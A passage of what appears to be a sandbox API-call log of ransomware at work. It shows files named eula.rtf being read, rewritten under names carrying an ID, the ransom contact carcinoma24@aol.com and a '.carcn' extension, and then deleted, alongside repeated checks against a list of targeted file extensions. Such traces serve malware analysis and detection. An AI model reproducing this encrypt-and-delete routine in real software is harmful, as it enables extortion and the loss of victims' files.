[0161.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.324] GetLastError () returned 0x0 [0161.324] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xbe6, lpOverlapped=0x0) returned 1 [0161.389] WriteFile (in: hFile=0x2d4, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xbf0, lpOverlapped=0x0) returned 1 [0161.390] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0161.390] WriteFile (in: hFile=0x2d4, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.390] SetEndOfFile (hFile=0x2d4) returned 1 [0161.390] CloseHandle (hObject=0x2d4) returned 1 [0161.391] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.391] SetEndOfFile (hFile=0x314) returned 1 [0161.391] CloseHandle (hObject=0x314) returned 1 [0161.391] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.392] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0161.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.392] lstrlenW (lpString=".doc") returned 4 [0161.392] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.392] lstrlenW (lpString=".docx") returned 5 [0161.392] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.392] lstrlenW (lpString=".pdf") returned 4 [0161.392] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.392] lstrlenW (lpString=".xls") returned 4 [0161.392] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.392] lstrlenW (lpString=".xlsx") returned 5 [0161.392] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.392] lstrlenW (lpString=".ppt") returned 4 [0161.392] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.393] lstrlenW (lpString=".zip") returned 4 [0161.393] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.393] lstrlenW (lpString=".rar") returned 4 [0161.393] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.393] lstrlenW (lpString=".bz2") returned 4 [0161.393] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.393] lstrlenW (lpString=".7z") returned 3 [0161.393] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.393] lstrlenW (lpString=".dbf") returned 4 [0161.393] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.393] lstrlenW (lpString=".1cd") returned 4 [0161.393] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.393] lstrlenW (lpString=".jpg") returned 4 [0161.393] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.393] lstrlenW (lpString=".doc") returned 4 [0161.393] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.393] lstrlenW (lpString=".docx") returned 5 [0161.393] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.393] lstrlenW (lpString=".pdf") returned 4 [0161.393] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.393] lstrlenW (lpString=".xls") returned 4 [0161.393] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.393] lstrlenW (lpString=".xlsx") returned 5 [0161.393] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.393] lstrlenW (lpString=".ppt") returned 4 [0161.393] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.393] lstrlenW (lpString=".zip") returned 4 [0161.394] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.394] lstrlenW (lpString=".rar") returned 4 [0161.394] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.394] lstrlenW (lpString=".bz2") returned 4 [0161.394] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.394] lstrlenW (lpString=".7z") returned 3 [0161.394] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.394] lstrlenW (lpString=".dbf") returned 4 [0161.394] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.394] lstrlenW (lpString=".1cd") returned 4 [0161.394] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0161.394] lstrlenW (lpString=".jpg") returned 4 [0161.394] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.395] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.395] lstrlenW (lpString="eula.rtf") returned 8 [0161.395] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.395] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3683) returned 1 [0161.395] CloseHandle (hObject=0x314) returned 1 [0161.395] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0161.395] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.395] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.395] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.395] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.395] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0161.396] GetLastError () returned 0x0 [0161.396] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xe63, lpOverlapped=0x0) returned 1 [0161.439] WriteFile (in: hFile=0x2d4, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe70, lpOverlapped=0x0) returned 1 [0161.440] ReadFile (in: hFile=0x314, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0161.440] WriteFile (in: hFile=0x2d4, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.440] SetEndOfFile (hFile=0x2d4) returned 1 [0161.440] CloseHandle (hObject=0x2d4) returned 1 [0161.442] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.442] SetEndOfFile (hFile=0x314) returned 1 [0161.443] CloseHandle (hObject=0x314) returned 1 [0161.443] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.443] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0161.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.443] lstrlenW (lpString=".doc") returned 4 [0161.443] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.443] lstrlenW (lpString=".docx") returned 5 [0161.443] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.443] lstrlenW (lpString=".pdf") returned 4 [0161.443] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.443] lstrlenW (lpString=".xls") returned 4 [0161.443] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.443] lstrlenW (lpString=".xlsx") returned 5 [0161.443] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.443] lstrlenW (lpString=".ppt") returned 4 [0161.443] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.443] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.444] lstrlenW (lpString=".zip") returned 4 [0161.444] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.444] lstrlenW (lpString=".rar") returned 4 [0161.444] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.444] lstrlenW (lpString=".bz2") returned 4 [0161.444] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.444] lstrlenW (lpString=".7z") returned 3 [0161.444] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.444] lstrlenW (lpString=".dbf") returned 4 [0161.444] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.444] lstrlenW (lpString=".1cd") returned 4 [0161.444] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.444] lstrlenW (lpString=".jpg") returned 4 [0161.444] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.444] lstrlenW (lpString=".doc") returned 4 [0161.444] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.444] lstrlenW (lpString=".docx") returned 5 [0161.444] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.444] lstrlenW (lpString=".pdf") returned 4 [0161.444] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.444] lstrlenW (lpString=".xls") returned 4 [0161.444] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.444] lstrlenW (lpString=".xlsx") returned 5 [0161.444] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.444] lstrlenW (lpString=".ppt") returned 4 [0161.444] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.444] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.444] lstrlenW (lpString=".zip") returned 4 [0161.444] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.444] lstrlenW (lpString=".rar") returned 4 [0161.445] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.445] lstrlenW (lpString=".bz2") returned 4 [0161.445] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.445] lstrlenW (lpString=".7z") returned 3 [0161.445] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.445] lstrlenW (lpString=".dbf") returned 4 [0161.445] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.445] lstrlenW (lpString=".1cd") returned 4 [0161.445] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.445] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0161.445] lstrlenW (lpString=".jpg") returned 4 [0161.445] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.445] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.445] lstrlenW (lpString="eula.rtf") returned 8 [0161.445] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.456] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3865) returned 1 [0161.456] CloseHandle (hObject=0x310) returned 1 [0161.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0161.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.457] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.457] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0161.459] GetLastError () returned 0x0 [0161.459] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xf19, lpOverlapped=0x0) returned 1 [0161.558] WriteFile (in: hFile=0x2e0, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf20, lpOverlapped=0x0) returned 1 [0161.559] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0161.559] WriteFile (in: hFile=0x2e0, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.560] SetEndOfFile (hFile=0x2e0) returned 1 [0161.560] CloseHandle (hObject=0x2e0) returned 1 [0161.560] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.560] SetEndOfFile (hFile=0x310) returned 1 [0161.561] CloseHandle (hObject=0x310) returned 1 [0161.561] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.561] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0161.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.562] lstrlenW (lpString=".doc") returned 4 [0161.562] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.562] lstrlenW (lpString=".docx") returned 5 [0161.562] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.562] lstrlenW (lpString=".pdf") returned 4 [0161.562] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.562] lstrlenW (lpString=".xls") returned 4 [0161.562] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.562] lstrlenW (lpString=".xlsx") returned 5 [0161.562] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.562] lstrlenW (lpString=".ppt") returned 4 [0161.562] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.562] lstrlenW (lpString=".zip") returned 4 [0161.562] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.562] lstrlenW (lpString=".rar") returned 4 [0161.562] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.562] lstrlenW (lpString=".bz2") returned 4 [0161.562] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.562] lstrlenW (lpString=".7z") returned 3 [0161.562] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.562] lstrlenW (lpString=".dbf") returned 4 [0161.563] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.563] lstrlenW (lpString=".1cd") returned 4 [0161.563] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.563] lstrlenW (lpString=".jpg") returned 4 [0161.563] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.563] lstrlenW (lpString=".doc") returned 4 [0161.563] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.563] lstrlenW (lpString=".docx") returned 5 [0161.563] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.563] lstrlenW (lpString=".pdf") returned 4 [0161.563] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.563] lstrlenW (lpString=".xls") returned 4 [0161.563] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.563] lstrlenW (lpString=".xlsx") returned 5 [0161.563] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.563] lstrlenW (lpString=".ppt") returned 4 [0161.563] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.563] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.563] lstrlenW (lpString=".zip") returned 4 [0161.563] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.563] lstrlenW (lpString=".rar") returned 4 [0161.564] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.564] lstrlenW (lpString=".bz2") returned 4 [0161.564] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.564] lstrlenW (lpString=".7z") returned 3 [0161.564] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.564] lstrlenW (lpString=".dbf") returned 4 [0161.564] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.564] lstrlenW (lpString=".1cd") returned 4 [0161.564] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.564] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0161.564] lstrlenW (lpString=".jpg") returned 4 [0161.564] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.564] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.564] lstrlenW (lpString="eula.rtf") returned 8 [0161.564] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.564] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3859) returned 1 [0161.564] CloseHandle (hObject=0x310) returned 1 [0161.564] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0161.564] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0161.565] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.565] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0161.565] GetLastError () returned 0x0 [0161.565] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xf13, lpOverlapped=0x0) returned 1 [0161.610] WriteFile (in: hFile=0x2e0, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf20, lpOverlapped=0x0) returned 1 [0161.611] ReadFile (in: hFile=0x310, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0161.611] WriteFile (in: hFile=0x2e0, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.611] SetEndOfFile (hFile=0x2e0) returned 1 [0161.611] CloseHandle (hObject=0x2e0) returned 1 [0161.612] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0161.612] SetEndOfFile (hFile=0x310) returned 1 [0161.615] CloseHandle (hObject=0x310) returned 1 [0161.615] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.615] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0161.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0161.615] lstrlenW (lpString=".doc") returned 4 [0161.615] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.616] lstrlenW (lpString=".docx") returned 5 [0161.616] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.616] lstrlenW (lpString=".pdf") returned 4 [0161.616] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.616] lstrlenW (lpString=".xls") returned 4 [0161.616] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.616] lstrlenW (lpString=".xlsx") returned 5 [0161.616] lstrcmpiW (lpString1=".xlsx", 